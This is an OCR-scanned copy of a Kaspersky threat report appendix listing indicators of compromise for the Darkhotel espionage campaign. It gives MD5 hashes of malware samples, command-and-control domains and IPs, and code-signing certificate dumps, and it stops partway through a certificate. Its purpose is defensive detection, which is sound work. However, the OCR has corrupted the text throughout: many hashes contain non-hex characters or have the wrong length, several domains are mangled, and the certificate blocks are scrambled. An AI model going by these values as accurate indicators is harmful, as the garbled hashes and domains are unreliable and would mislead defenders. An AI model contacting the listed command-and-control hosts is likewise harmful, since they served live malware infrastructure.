DARKHOTEL

INDICATORS
OF COMPROMISE

For more information, contact intelreports@kaspersky.com

Version 1.1
November, 2014

F3
=

Global Research and Analysis Team

KASPERYKY3


mailto:intelreports%40kaspersky.com?subject=

KASPERYKY2

Contents
Appendix A - related MADS ...ueeieeeee e 3
Downloaders, injectors, iNfOStEAIEIS ....cccccvieeiiiieie e 3
Appendix B. Fully Qualified Domain Names, Command and Control ............... 12
Appendix C. Code-signing Certificates ......ccovvmrnriiiinner e 17
Appendix D. Malcode Technical NOES .......ueuiieeeiiiicceeeeee e 58
SMall DOWNIOBUET ...eviiiiiiiie ettt ane s 58
TechniCal DeTailS ..cueeeieeiiee e e 58
INFOrMatioN STEAIET ... e e 60
TechniCal DetailS ..cueeiieieeeieeeee e e 60
Trojan.WiN32.KarbDa.€ ..ucuiiceeeeeceeeie ettt e e e e e s e e s e e e e e eeans 64
TeChNICAI NOTES ettt naee e 64
SEIECTIVE INTECTON ...ttt e e e e rr e e e e e e e nannnnneees 67
TECHNICAI NOTES ..o e e e e e e e e e e e e e e e e 67
Trojan-Dropper & Injector (infected legitimate files) .....cccvvevieceeecccveeeenns 67
TECHNICAI NOTES .. e e e e e e a e e e e e 67
Enhanced Keyloggers and Development .........occcvriiieenieneeee e 68
TEChNICAl NOTES ...ttt e 68
KEYIOZEETr COUE .....eeieieeieeeiee ettt s ee e e ene e e n e e enas 68
Appendix E. Parallel and Previous ReSearch ........ccccceeeeeeeeeeccceeeeeee e 73

TLP: Green For any inquiries, please contact intelreports@kaspersky.com



mailto:intelreports%40kaspersky.com?subject=

KASPER§KY2

Appendix A - related mdSs

Downloaders, injectors, infostealers

000¢907d39924de62h5891f8d0e03116
00cabc0558dc9ebala8a4dd639e74899
0183bac55ebfad2850a360d6¢d93d941
0396f7af9842dc5¢8c0df1a44c01068c
03a611a8c2f84e26¢7b089d3f1640687
03d35ef3fdf353fe4dc65f3d11137172
043d308bfda76e35122567c¢f933elb2a
04461ee7c¢724b6805820df79e343aa49
05059c¢5a5e388e36eed09a9f8093db92
061e3d50125dc78c86302b7cfa7e4935
06206fe97fed0f338fd02ch39ed63174
08a41624e624d8fb26eeed7a3b1f5009
08b04d6ef94d2764bfafd1457eb0d2a0
08e08522066a8cd7b494cab64ded6d4f7
091e4364f50addd6c849f4399a771409
09e7b0ecd5530h8e87190dee0f362e13
0bd1677c0691c8a3c7327bf93b0a%e59
Obfbd26a1a6e3349606d37a8ece04627
Obfc8e7fa0b026a8bf51bbea3d766890
0Ocbd04c5432b6bfh29921177749f3015
0d75157d3f7fbf13264df3f8a18b3905
Ofe3daf9e8b69255e592¢8af97d24649
101244381e0590adecf5f2b18d1b6042
11e85a6€127802204561b6996d4224b6
121a9ea93f3ed16a1b191187b16b7592
12h88e36170472413a49ae71blac9a33
12df4869b3a885d71c8e871f1alb0Ofde
1300244219¢cbh756df01536692edebdbb
131c5f8e98605f9d8074ca02fd1b9c34
131¢c625a92dc721c5d4dae3fh65591fc
140b27db7d156d6a63281el1f6fc6075d
15097b11e3898cb0be995e44a79431f2
151115ddflcd4b474a9106cfebch82e4
16139ce9025274a388a4281fef65049¢
16e378d5f0al15fbd521b087c0951a2ab
173abb95e39f03415cd95b76e8a2f58f
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1743dafa776677e232d20506858d9a4de
175aa0d1bdebfa60de29b90ab2c62189
178f7fe2d3a2bda46c0e78f679caba62
18527b303c0afe91f5ae86d34b52eb29
18527b303c0afe91f5ae86d34b52eb29
1971ee25847d246116835¢c7157cf7f89
la2e52e5ac18cfe091bb3aclch38f050
1b0c2c6¢19404112306a78ecf366f90b
1ec49ae6d535bfb3789d498f4fd0224f
1lee6676e122fcd22e80b6ae0dc40c979
1ef21e634f9779280710e87ff17a83af
1f29ec5ab8a7c2ccda21576f29cbb13b
1fcaa239c¢f4d627078179f6de299f320
2024679f61cf9ab60342ecab8360737f
216088053dac46fcd95938568c469fab
21792583ab4a7080ceaf2¢31731b883e
21ba9d9d914d8140c1e34030e84213f4
236df260f858f9a6ca056bcdecof754f
25102d64dbcOb6495¢5713f3178dd 71
26b34d3df337407c7618f74e9a82ebh9f
26b7b5d019d7500efdb866f1d20d2000
275e0786b6294ffd05f45df435df842¢
27db26077f849e26ba89fcafd2f0db92
27f2f32ba938b1747128ffdd2f56c691
2802¢47b48cced7f1f027f3b278d6bb3
28b1569109fcae8cfcdcfbe9c4431b66
2aac9d340620da09d96929ba570978c4
2b443cc331fec486a6ccbcfcd92e76a4
2be3a8dd0059e291022ad32bbceOe5d1
31e0788c9c2e16db1ael002f0dbc837e
3260c9f881eb815b7ef3f5f295fc5174
326b44e7 3fccece89326fd865dab1f7f
35a15355¢96he225507ebedlec434d57
378177ddc1fd7d213b79c033da26327d
38b919f37501fc3d54f8f1b956448a92
3961CAB50C32E8F32FE45836B9715CES
3961cab50c32e8f32fe45836b9715ce5
39fc4a3ead4ah9822ed5e77808803727
3f39c6deab311167cc7ff62befddea’e
41b816289a6a639f7f2a72b6c9e6a695
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41b816289a6a639f7f2a72b6c9e6a695
428eb3305d4d4c9a8831e1d54160ed65
42a3bb917778454fa96034ad4fb17832
42bh9fea2ec56a90cefeecee3c84aadeO
436b853chc87ba3a99131ce2d64a512d
44300d48fccdbaaf27f4c863421c0d47
44e520bec8a3e35f6f6ad52e97911e14
45a4c¢8c01ec94e1db83bh86e05dc9e851
45b94e90cab94d9f873478151a80703d
48888ccab68dh492¢c87892524146e8ae3
4d275adbd318f182fa0ec0275¢cf217b4
4d840625c5cafadflcbhd35d4blca2452
4f377a8344baa76afe9103ca843e315f
4fc1b3dbfodc44278f990d57913d966
50ac685d25033962e04adc92c¢8e70785
51¢1b9b3df00de5e08c4aa3a2b864a54
51d3e2bd306495de50bfd0f2f4e19ae9
5l1eaec282b845bc54dbd4fbce5bb09d8
522c¢d120fa4b1517a60fcf8be3e71ff4
53dc9866fd77fe4933eea3c08666¢7bb
55b125da1310d2b37f18ead4e2ae8192b
5607a3ccdaf748fd5cd2dlbecd4a771bd
57099403f28d2ce79cbal1469¢c8be971
57dfd2ec5401d9a3d68b4d125e1eb308
5b7b8d3b844b4dbc22875a2a6866a862
5bbdb09ec6ec333a20de74fd430b2bc2
5deebad9f12f89fcfofdcfO7ebab3ebe
5f05acd53cfd91fb4dba3660adle3add
60af79fb0bd2¢9f33375035609¢931ch
63409ddhd5316bae8e956595c¢81121ab
65460ec31dce97¢c456991ba5215d9¢c43
686738eb5bb8027¢524303751117e8a9
687h8d2112f25e330820143ede7fedce
68ca3d3fc4901d1af8d3adc3170af6ad
697e77c5ef4cf91d5a84b0b3f0617887
6a37balbac5fh990fbdlc34effcb0bOd
6bb1al12416¢c92f5ef12947e2dc5748f9
6¢ce73a81f0edadlffcf669eb6ace29db6
6delb48laeb2fbacd7db84789a081b74
6f1a828a2490099a3ce9f873823cce7c
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70a0412d19d55bcab72e76c984694215
72869fc63d0ba875dfc539d2bcd48e4d
74d403244db05f7¢294¢ca0777a9f7a%e
76dd289fa3dd8f36972593a006b771cc
77669d11¢c3248a6553d3c15cd1d8a60e
7bab3a69ab65b90e47d5cc0724531914
7c2eeda3bb66b2c29aa425ba74c780c3
7d304a9cdcda75b1ch9537618f5ed398
804dceb3fa2b9bcf6559510909465bbc
82ab0bh8246¢c6677f9866b17794b72e2d
864cd4ab59215a7db2740dfbe4a648053
86b18e99072ba72d5d36bce9a00fc052
89de19ff50dd58eda2b136b65feb3fb0
8c01d9a2c¢13ebc8dc32956336a6bc4fs
8f7a7d003cafab6c63e9402f553f9521
90f26¢5¢4b3c592352fchddf41dcl18aa
910a1f150a5de21f377cf771ed53261f
912a8c7cflad78cd4543bfb594c7db58
9a2f2291686080a29f4c68bdc530887f
9bc355chbh5473f4f248f3e2be028ecOb
9c5cd8f4a5988acaebc2e2dce563446a
9ccc7ce97f8ee0cd44d607e688b99eca
9eeae870f22350694eb2e7a4852dbb7d
9f08b8182¢987181fe3f3906f7463eac
ad44577e8c77ef3c30749fe6ec2bb55a5
a49780f2da2067dd904135fad3af8a90
a71f240abb41eb1e37f240613d14277
a7bh226¢220e1282320fca291a5100f93
a8151939085ce837b3a7deecb58efa7b4
a9faa01c7cf7150054600fc2ab63e4b6
aaeb3b0651720a3f37a0c2f57¢c92429c¢
abdcde9cd1f9135e412f7bb0a9cafbc9
ad0f9bala355c5e8048c476736¢c90217
af26f60a80171¢4337117133f1c2babf
b07f6065011621c569fc2decd27056df
b1048d7d2464f27a19b2adbf310158b1
b2b29dch1251¢8b1c380f00834297857
b4cbafc20d19b06a4ab670129a3aebaa
b6428851df75dc91bb46583b97d9a566
b7d1c3a03e92b24e9052e75ea381leada
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ba87428a298f8acf258b2f4f814bd9b9
be7acfaf90c8fab44393345704dd2b69
bf700fal87cc22d591elecde7442145a
¢12fe91f0c39¢2460ea304ffc250918d
€322e499729291451437d46¢c6f05b920
¢c49e6114fa3de4f823010e852d891896
c4ac4924544877cd100e53f1115¢7df9
c5a9ec966196a03e53fd1869764d8507
c6cbb4eabaabf4a58659cd13fa0b024f
¢82ca00476d7e8532d055bf2cc2¢9d59
¢c9f95fc8219750b7¢c47325a0b84e9373
cddbafha31e91706412bab8fff2b4d31
cf95ab8c4cc222088de00dbb20374d69
d580cab0c05dd78215fd6252934¢240f
d96babbde694df227a9af4b4b61483b3
da608f216594653a1716edd5734cd6el
da6c390915639¢853612ch665ac635f4
dabed3cc582b4424c96b8ca73aaeb8ad
dd555740dcabb3dab3ealfc71273e493
e070293d03cd3524e5dh9fad770589a5
e2ed43a6bbb72¢c927a4e083768e47254
e271ba345eadabf56471c5413acf52f9
e2b5c47156508a31b74a1f48e814fbe7
e579157fb503b5chd59ce66f5381575¢
eba31be7717cl12a3cfQal173428ac7¢38
€62af1303ed81f1lae69alc3b1f215d88
eb5fddac2ada26ladcdcde87b4dc5540
e€9f89d406e32ca88c32ac22852¢25841
ec4belaf573e5¢55023b35bd02efe394
ed2119548aff161ffo7d6837e6a08e84
ed9f539ddabdab8a88491ee38f638b64
ede6ab7f7956686f753819¢c46f496¢c84
f1368a2e56ae66587847a1655265d3¢c9
f2231ce84551fbd8a57e75fb07d7f6c0O
f47cdf5bfc7227382e18f8361249212b
f5d745e7a575b7aecae302623acd6277
f602fe96deb8615ab8cefbd959e1d438
f7084cf91278eb8176c815ec4e269851
fO97eclcc844914a9aa8dfa00dlead62e
fe7efa9f0417ba001c058b513518f4cf
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a6f55037¢bh02911¢c5624e70a67704156
al131d12bc9ab7983h984c81e5e7e108e
0367f890595cf28c6¢195dfabae53bab
adab033d420206fcd2503643d443956e
cbbfa76cdb5ed22a8c53f7f7d117923e5
93283599dbf3b2d47872dafael2afb21
d8137ded710d83e2339a97ee78494c34
93283599dbf3b2d47872dafael2afb21
06ac12b8c5laec71cefcf8a507d82ce4d
3165b74722a9dd45cde49538561chab9f
043f0dcea6f6fbd1305571e6bfOfa78c
17¢99725043fal573fd650e57¢3¢c75d3
0393036f35a7102a34fadfd77680b292
01cbd90babcf7e9595b208e4ca2d2d15
032a7c67332a3abfédal79ed265e6e04
23f7fe611ed2bd814bbdbfae457150b3

Example md>5s of files detected with Kaspersky’s Virus.Win32.Pioneer.dx and
Symantec’s Infostealer.Nemim!linf:

00d8dd7ec8545134bdc2527b4190078b
01d09407d09355a821ba23ffb58ec40d
033d922f3f56f9ea7c¢976f31107e366a
043c84cef3e011e3dc731d643a205f4e
058efdf7d94c5da920a3c32chadac2d0
Ob6caacd4081d3h18e847a40clb6a7f3
Ob727001dfc90cc354bd2ccabe3c23a5
0d3e3fd44faa32e0d83b02¢c8b7cff49¢
0d48f948b3c47d0c08e8ee026b8f4670
0fb91846ab9a4e9667c81154829f888b
1d399370e82b314ba20c21ff4ee82205
1f9d915d331f7e363c39108f41145c44
2431db868ebeclb967f5ad38abfd95c4
255f7842c6f07a6a1500a30fb4d27d54
35994a29128c08bed6f5d4aad28f102b
268d17f3763246ac27de7dc8024f23fa
40591b4ba82e0347b33098f6652640d6
4286ee45e9fcc2db3ddfad38426b7f50
4a0fa9bed3cc84b5beb0b484227edfch
4ce790e8438ed3a644984eh24452dd42
4e01e648645d041d52af9dbb09e442ef
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4e8eabbfacf9766f25af12fd63b16ce9
56217179283737f5c46c0a64ebe28a82
5¢b91f0c3a1452176007dcc594ec02ce
5f05b4aff89a07dbac9914ae3cf1314f
611c4440aa2587f54702e7e58b7be75f
65f7b330bcc7aeebf8d84afaOb23bf02
67b96c2265e44ccfad708¢c9387570ab4
69fa0bfd74d0db4ad734b9944ea7lec3
6a79c842a6edca3460b0026¢d16¢3670
6acd47c45a3e031411af351b3be5f82e
6d3839¢312976ba96e89ab6a243aef8f
6f7echHff103e4ee038a54816¢c6b9bc09
720af0falf2633b1b73¢c278a0a016559
729a2f6¢c7e95075ff36947bc5811a5d3
752¢351778a8a18245f132dafdc54599
7a5256dda43cb459e99¢c0073f1e8f07b
7ad3b74bec51678622e21f57fh82e136
7f608ebfh9Ob1c81cb07eb8f26fd7647a
83f0f16fb86d6f67calb58d66c195884e
873f26caddfele9af18181d8f5f18368
8cdd3b6c577a17h698333337dd1cf3e0
8def236d23dea950d9b1b222ch9a463a
9305008e17b0805118a6a9bb45493441
965e7d4785d23babbh6608c1245586¢eba
98b07144f4f5cc95348b39d6bfaeh56a
9978ced410a7dfd3a21ff59chele4303
99a2c¢ca89d044148aa3379cdf2e899fa
9a56bb6c022b3a2ab40d2b308ddf7015
9bal119cf7107d6f4f910447¢90c4985d
9¢3b06ab28840239cfldOecf4ad5f6f4
9cdbd5955fc3bf6da5¢c00e0804b6d6a8
9d248e5cc726f2aa2fadf06566a2d5b8
9eae89f27c8fbch5896fc7e540e4cfdda
a07db3237b6bd9789b5f1126ea7b0195
al1l467e57ea55030e45325d3987dh9fca
abb0406dff68430aac6abb738731e7d0
a855b983f1f414461de0e813e2f72b24
ad35dbh962130becfaclde2f803all19ae
b164febacafd2ab33f203fchfaecd531
b442988d18264735f39efc2001b29¢c63
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bc6a78142fa68af60ed4edc06d28a2f28
¢25d146b4cfO5f7aaa9aebbe8d1563db
¢c34ebh5aa60373119a03cfd90abfeal2l
cdf5267225e6994b4670bf49bab0595a
d46204e579808d520affcc71a7d35cda
d73b08376¢7cdf355d31b05a71c8chba
d8137ded710d83e2339a97ee78494c34
dd6c020e4a9¢112¢1776215b763f7525
e4fe6fa6e540cdb77807401aa2121858
e52b7d5391152da89b1dbh64060ba96ae
efda0c1d8593d3ab3a7c079b71a0f2bc
f7d0d5fc6b01a2e0f3alc021bab49437
fcd2458376398b0be09eaa34f4f4d091
e8bfh82b0dd5cef46116d61f62¢25060
a47f6878da6480089c2ff3bdddbd 7104
9f56¢7f03370692f1d4761ddb848dafb
3e38b8ccd38682ad4eclfOfcfclfbl6a
b5ab66687d53914a65447aacc8fb3e88
fda0320d1e28bc022e4d9eQaae544db4
29d76d34d8878f7ac703837ec774f26a
1bfc1b606fc8aa85e1094b01b08eafdc
64c4d56457516a646d10732f24214cf2
3e38b8ccd38682ad4eclfOfcfclfblba
b5ab66687d53914a65447aacc8fb3e88
2600671b87dedbb50ca728285eb141b8
5b7b8d3b844b4dbc22875a2a6866a862
da608f216594653a1716edd5734cd6el
cd1134ad11d21b4626e28cf5a9eb6fOc
53bcla9d19aae7f783e019ec7613¢c366
ebebb78006ecffel511f46¢c86d16f4aa
¢2d00fef0659640¢1345967d2f554278
fe95141837ae86¢h02al1bbf6a070chb4
a0b0389eb9bbfe1839d3da7al1995da3f
822871578022¢1292¢9¢ch051cceedfe2
ca7ebff32b729d0d61340911a01a479a
35cd5ca2e33400a67345b00ef6db3ff6
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a45e0f8a404d846289f3a223253e94a9
8c3fc5e341d7df51ea9b781a55908e82
€8190374¢3d962f5¢2chb5e30007216¢
9a0963dbee2361fa9cebaabe0e517774
397e492f1f65ed9a3c3edc9c7a938f01
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Appendix B. Fully Qualified Domain Names,
Command and Control

163pics.net autobicycle.20x.cc
163services.com autobicycle.freehostking.com
180.235.132.99 autobicyyyyyy.50gigs.net
203.146.249.178 autoblank.oni.cc
22283.bodis.com autobrown.gofreeserve.com
42world.net autocargo.100gbfreehost.com
59.188.31.24 autocash.000php.com
88dafa.biz autocashhh.hostmefree.org
academyhouse.us autocaze.crabdance.com
ackr.myvnc.com autocheck.000page.com
acrobatup.com autochecker.myftp.biz
adobearm.com autocracy.phpnet.us
adobeplugs.net autocrat.comuf.com
adoberegister.flashserv.net autodoor.freebyte.us
adobeupdates.com autof888com.20x.cc
albasrostga.com autofseven.freei.me
alexa97.comO autogeremys.com
alphacranes.com autoinsurance.000space.com
alphastros.com autojob.whostas.com
amanity50.biz autoken.scienceontheweb.net
anti-wars.org autolace.twilightparadox.com
applyinfo.org automachine.servequake.com
auto2115.icr38.net automatic.waldennetworks.com
auto2116.phpnet.us automation.000a.biz
auto24col.info automation.icr38.net
autobaba.net84.net automobile.000a.biz
autoban.phpnet.us automobile.200gigs.com
autobicy.yaahosting.info automobile.freei.me

TLP: Green For any inquiries, please contact intelreports@kaspersky.com
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automobile.it.cx
automobile.megabyet.net
automobile.x4host.eu
automobiles.strangled.net
automotive.20x.cc
autonomy.host22.com
autopapa.noads.biz
autopara.oliwy.net
autoparts.phpnet.us
autopatch.createandhost.com
autopatch.verwalten.ch
autophile.00free.net
autopilot.verwalten.ch
autoplant.byethostl1.com
autopsy.createandhost.com
autoreviews.dyndns.info
autorico.ignorelist.com
autosadeo.000php.com
autosail.ns01.biz
autoshop.hostmefree.org
autostart.waldennetworks.com
autotest.byethost4.com
autotree.freebyte.us
autoup.eu.pn
autoupdafree.my5gigs.com
autoupdate.eg.vg
autoupdate.freehostia.com
autoupdate.megabyet.net
autoupdate.zoka.cc
autoupdatefree.freehostia.com
autoupdatefree.verwalten.ch
autoupdatefree.waldennetworks.com

TLP: Green
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autoupdatefree.zoka.cc
autoupdatefreee.mybgigs.com
autoupdates.5gigs.net
autoupdatfreeee.coolwwweb.com
autoupgrade.awardspace.biz
autovita.xtreemhost.com
autovonmanstein.x10.mx
autoworld.serveblog.net
autozone.000space.com
begatrendsone.com
begatrials.com
bizannounce.com
blonze.createandhost.com
bluecat.biz.nf
bluemagazines.servegame.com
bokselpa.dasfree.com
checkingvirusscan.com
clus89.crabdance.com
codec.servepics.com
control.wrizx.net
cranseme.ignorelist.com
crazymand.twilightparadox.com
crendesting.strangled.net
dailybread.waldennetworks.com
dailyissue.net
dailynews.000page.com
dailypatch-rnr2008.net
dailysummary.net
dailyupdate.110mb.com
domainmanagemenet.com
donatewa.phpnet.us
downsw.onlinewebshop.net
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dpc.servegame.com
ds505cam.com
ebizcentres.com
elibrarycentre.com
err.cloins.com

eztwt.com
fame.mooo.com
fashions.Ofees.net
fenraw.northgeremy.info
fenrix.yaahosting.info
fenrmi.eu.pn
foreignaffair.org
gamepia008.my5gigs.com
genelousmanis.phpnet.us
generalemountina.com
genuinsman.phpnet.us
gigahermes.com
gigamiros.zyns.com
gigathread.itemdb.com
gigatrend.org
giveaway.6te.net
goathoney.biz
goizmi.ignorelist.com
goizmi.phpnet.us
goldblacktree.waldennetworks.com
gphpnet.phpnet.us
greatechangemind.com
greenlabelstud.000space.com
gurunichi.createandhost.com
halemdus.000space.com
heinzmarket.com
hotemup.icr38.net

TLP: Green
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humanforum.net
hummfoundation.org
individuals.sytes.net
infonetworks.biz
innewsmessenger.com
jackie311.byethost16.com
jandas.byethost7.com
javaupdate.flashserv.net
jonejokoss.byethost6.com
jonemaccanel.byethost7.com
jpnspts.biz

jpgueen.biz
kaoal.chickenkiller.com
laborsforum.org
lakers.jumpingcrab.com
limited.000space.com
lookasjames.000space.com
mansgepitostraig.com
mechanicalcomfort.net
microalba.serveftp.com
microblo5.mooo.com
microbrownys.strangled.net
microchiefs.twilightparadox.com
microchisk.mooo.com
microchsse.strangled.net
microdelta.crabdance.com
microgenuinsman.servebeer.com
microjonjokoss.jumpingcrab.com
microlilics.000space.com
microlilics.crabdance.com
micromacrarusn.com
micromacs.org
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micromichi.ezua.com
micrompsl.net
micronames.jumpingcrab.com
micronao.hopto.org
micronaoko.jumpingcrab.com
microos.jumpingcrab.com
microplants.strangled.net
microsoft-xpupdate.com
microyours.ignorelist.com
minshatopasl12.org
msdn4updates.com
mshotfix.com
msupdates.com
myhome.serveuser.com
myphone.freei.me
nanogalsman.org
nanomicsoft.com
nanoocspos.com
nanosleepss.net
ncnbroadcasting.reportinside.net
neao.biz

neosilba.com
new.freecinemaworld.net
new.islamicawaken.com
newsagencypool.com
newsdailyinhk.com
newsups.000a.biz
nokasblog.agilityhoster.com
office-revision.com
online.usean.biz
outlookz.com
pb.enewslive.org

TLP: Green
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pb.gocp.net

pb.upinfo.biz
photo.eonlineworld.com
popin.Ofees.net
private.neao.biz
proteingainer.biz
rainbowbbs.mywebcommunity.org
rayp.biz

re.policyforums.org
redblacksleep.createandhost.com
redlooksman.servehttp.com
reportinshop.com
reportinside.net
rootca.000space.com
sales.eub.org
secureonline.net
self-makeups.com
self-makingups.com
sellingconnection.org
sens.humanforum.net
shndia.com
silverbell.000space.com
sipapals.servehalflife.com
smartappactiv.com
smartnewup.crabdance.com
sourcecodecenter.org
spotnews.com
st.cloins.com
stloelementry.200gigs.com
students.serveblog.net
support=forum.org
terryblog.110MB.com
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thenewesthta.mypressonline.com
thirdbase.bugs3.com
todaynewscentre.net
trade-inf.com
unknownl2.ignorelist.com
updaairpush.ignorelist.com
updaily.biz.nf

updaily.phpnet.us
updaisin.net16.net
updalsim.freehostee.com
updarling.000a.biz
updatable.20x.cc
updateall.000a.biz
updatecache.net
updatefast.000a.biz
updateiphone.20x.cc
updateitunes.waldennetworks.com
updatejava.megabyet.net
updatepatch.icr38.net
updateschedule.verwalten.ch
updatesw.110mb.com
updatesw.zoka.cc
updatewell.freebyte.us
updatewifis.dyndns-wiki.com
updauganda.waldennetworks.com
updawn4you.net84.net

TLP: Green
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upgrade77.steadywebs.com
video.humorme.info
voicemailz.net
wein.isgreat.org
windowservices.net
world.issuetoday.net
world.uktimesnews.com
wowhome.byethost8.com
ww42.200gigs.com
www.appfreetools.com
www.digitalimagestudy.com
www.imggoogle.com
www.info-cache.net
www.mobilitysve.com
www.neosilba.com
www.newsupdates.org
www.serveblog.net
www.singlehost.org
www.smartnewup.com
www.sglengine.net
www.strangled.net
www.universalonline.com
www.win7smartupdate.com
yahooservice.biz
yellowleos.phpnet.us
ypiz.net
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Appendix C. Code-signing certificates

%Certiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 2576597 (0x2750d5)
Signature Algorithm: shalWithRSAEncryption
Issuer: C=MY, O=Digicert Sdn. Bhd., 0U=457608K,
CN=Digisign Server ID (Enrich)
Validity
Not Before: Jun 2 03:55:56 2009 GMT
Not After : Jun 2 03:55:56 2011 GMT
Subject: C=MY, O=JARING Communications Sdn.Bhd.,
OU=JARING, CN=webmail.jaring.my,
L=W.Persekutuan/emailAddress=sysadmin@jaring.my,
ST=Kuala Lumpur
Subject Public Key Info:
Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:a4:81:6d:8d:ed:a6:fa:64:68:c8:41:4b:£3:08:
89:c6:8c:£5:52:¢c5:64:00:7a:a4:00:29:be:fb:eb6:
c8:07:92:de:52:71:£8:23:27:16:8e:4£:59:c4:c3:
52:2c:b2:7e:72:d9:01:88:ae:a5:23:01:2d:5b:63:
dd:8d:49:1e:8f

Exponent: 65537 (0x10001)

X509v3 extensions:
X509v3 Subject Key Identifier:
41:6B:A5:9E:58:E5:29:B7
X509v3 Certificate Policies:
Policy: 2.16.458.1.1
CPS: http://www.digicert.com.my/cps.htm
X509v3 Authority Key Identifier: :
keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C:
5:74:6E:84:77 :
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
Signature Algorithm: shalWithRSAEncryption
57:09:37:76:d1:c4:95:5d:cf:20:51:ea:c5:92:ad:7e:24:a7:
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78:d2:92:¢c1:76:45:¢c6:0f:6e:84:35:15:a2a:82:8b:42:55:1d:
e0:8a:8e:86:13:de:98:02:8e:25:2b:24:a8:8b:84:a2:36:37:
£4:£6:1d:81:1b:96:c7:ee:2d:£9:68:£fe:78:98:8b:bb:5a:al:
bb:40:03:b2:ca:6b:84:12:e8:cd:cd:df:ad:9d:66:c7:75:08:
60:5b:e3:04:de:bf:25:99:fb:d1:5a:12:01:d9%9:a8:c3:48:19:
ed:bf:dc:b7:5f:ff:8e:cf:37:2b:24:65:e5:3f:09:b2:63:cc:
cf:5c

:BEGIN CERTIFICATE :
§MIICZTCCAngAwIBAgIDJlDVMAOGCSqGSIb3DQEBBQUAMGMXCZAJBgNVBAYTAklZ§
| MRswGQYDVQQKExJEaWdpY 2VydCBTZG4uIEJoZC4xETAPBGNVBASTCDQINZYWOCLL !
§MSQngYDVQQDExtandpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkathMDkwNjAy§
:MDMINTU2WhcNMTEWNJAYMDMINTU2WJCBt jELMAKGATUEBhMCTVkxJzA1BgNVBAOT
§HkpBUklORyBDbZ1tdWSpYZFOaW9ucyBTZG4uthijEPMAOGAIUECXMGSkFSSUSH§
§MROWGAYDVQQDEXF3ZWJtYWlsmehcmluZy5teTEWMBQGAIUEBXMNVy5QZXJZZth§
§dHVhbjEhMBSGCSqGSIb3DQEJARYSc3leWRtaW5AamFyaW5an15MRYWFAYDVQQI§
§Ew1LdWFsYSBMdWldeIgMFwwDQYJKoZIhvcNAQEBBQADSWAWSAJBAKSBbY3kpvpk§
:aMhBS/MIicaM9VLFZAB6pAApvvvmyLeS31Ix+CMnFo5PWcTDUiyyfnLZsYiupSMB :
§Lth3Y1JH08CAWEAAaOBijCthARBgNVHQ4ECgQIQWulnljlecwRAYDVROgBDOw§
§0zA5BnggooBATAwMC4GCCsGAQUFBwIBFiJodHRwoi8vd3d3Lme221jZXJOLva§
:bS5teS9jcHMuaHRtMB8GALUAIWQYMBaAFMYWkO4AWE +wiWr o yUdvOGhbcVOboR3MASG
{ A1UdDWQEAWIEBDANBgkghkiGIwOBAQUFAROBGOBXUTA20cSVXc8gUerFkql+JKd4 |
‘ OpLBAkXGD26ENRWggotCVR3gio6GE96YA041KyS0i4SiNjf09h2BG5bH7135aP54 !
§qu7WqC7QAOyymuEEujEzd+thbHthgW+ME3r81mvaWth2ajDSBntv9y3X/+O§
i 22crJGX1PTmyY8zPXA== :
END CERTIFICATE

iCertiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 2657623 (0x288d57)
Signature Algorithm: shalWithRSAEncryption
: Issuer: C=MY, O=Digicert Sdn. Bhd., 0U=457608K,
:CN=Digisign Server ID (Enrich)
: Validity
Not Before: Sep 29 06:46:10 2009 GMT
Not After : Sep 29 06:46:10 2011 GMT
Subject: O0=MARDI, CN=anjungnet.mardi.gov.my, ST=SERDANG
Subject Public Key Info:
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Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:ba:4f:4f:7d:e9:62:7a:d5:£8:62:99:0d:29:4c:
af:0e:£4:7d:49:7e:6e:d9:30:d3:06:49:6b:b0:77:
cd:67:2d:¢c9:61:55:3d:00:bl:7a:b4:a0:£f4:64:61:
9c:81:38:3e:44:6e:0e:15:a9:58:f9:60:68:a2:29:
b2:0d:7e:67:71

Exponent: 65537 (0x10001)

X509v3 extensions:
X509v3 Subject Key Identifier:
48:15:99:11:61:48:10:FD
X509v3 Certificate Policies:
Policy: 2.16.458.1.1
CPS: http://www.digicert.com.my/cps.htm
X509v3 Authority Key Identifier: :
keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C:
5:74:6E:84:77 :
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
Signature Algorithm: shalWithRSAEncryption
8a:89:09:23:6f:ff:bd:7d:0b:45:ff:a8:83:ae:cf:c3:£f3:1a:
79:9d:f4:42:22:37:78:b4:6b:7b:86:4f:ee:7a:35:4b:52:8e:
25:25:03:06:37:1f:f0:bd:72:56:af:d9:b0:cd:48:be:8a:3c:
a2:07:10:1£f:70:62:¢c9:01:02:47:29:08:7£:27:52:13:28:b4:
c6:a8:5b:e5:57:1a:d3:92:3d:5b:5c:b3:a9:14:cf:1b:ea: fd:
43:48:36:11:9d:85:25:4d:£9:26:84:d8:4d:1a:9c:bd:47:67:
5f:e6:1d:e7:17:71:71:24:15:68:4e:68:9f:0f:62:10:3e:75:
83:a2

{BEGIN CERTIFICATE :
{MIICZTCCAC6gAwIBAGIDKI1XMAOGCSGGS Ib3DOEBBQUAMGMKCzAJBGNVBAYTAKLZ
i MRsWGQYDVQQKEx JEaWdpY2VydCBTZG4uIEJoZC4XETAPBGNVBASTCDQINZYwOC1L |
: MSQwIgGYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVUcmljaCkwHhcNMDkwOTIS :
{ MDY ON§EwiWhcNMTEwOT I 5MDY ONj EwiW3 BDMQA4wDAY DVQQKEWVNQVJESTE fMBOGALUE '
| AXMWYW5qdW5nbmVOLmlhemRpLmdvdi5teTEQMA4GA1UECBMHUOVSREFORZBCMAOG |
: CSqGSIb3DOEBAQUAAOSAMEGCQOC6TO996WI61 fhimQOpTK8O9H1 Jfm7 ZMNMGSWuUw
: d81nLclhVTOASXGO0PRKYZyBODSEbG4VQV] 5YGiiKbINEmdxAGMBAAG] gYowgYcw |
! EQYDVROOBAOECEGVMRFhSBDIMEQGALUATAQIMDSWOQYFY INKAQEWMDAUBGGrBGEF
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§BQCCARYiaHROcDovL3d3dy5kadeY2VydC5jb20ukavY3BszhObTAfBgNVHSME§
